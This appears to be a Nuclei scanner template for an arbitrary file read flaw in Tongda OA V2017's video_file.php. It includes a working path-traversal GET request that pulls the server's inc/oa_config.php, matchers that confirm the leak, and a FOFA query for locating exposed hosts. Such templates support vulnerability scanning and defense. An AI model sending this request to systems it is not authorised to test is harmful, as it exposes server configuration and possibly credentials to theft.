id: tongda-video-file-read

info:
  name: Tongda OA V2017 Video File - Arbitrary File Read
  author: SleepingBag945
  severity: medium
  description: |
    There is an arbitrary file reading vulnerability in Extreme OA video_file.php. An attacker can obtain sensitive files on the server through the vulnerability.
  reference:
    - http://wiki.peiqi.tech/wiki/oa/通达OA/通达OA%20v2017%20video_file.php%20任意文件下载漏洞.html
  classification:
    cpe: cpe:2.3:a:tongda2000:office_anywhere_2017:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: icon_hash="1967132225"
    product: office_anywhere_2017
    vendor: tongda2000
  tags: tongda,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/general/mytable/intel_view/video_file.php?MEDIA_DIR=../../../inc/&MEDIA_NAME=oa_config.php"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "$ROOT_PATH"
          - "$ATTACH_PATH"

      - type: status
        status:
          - 200
# digest: 490a00463044022005dc6483e2d8dab648d0b3ee34b6ff3d00004f0e18a60e5f6f7da9974bc84e7302203606a2d327732fa123b8eaa2d326f3f18a4b68736a8f4435c373cce837c95906:922c64590222798bb761d5b6d8e72950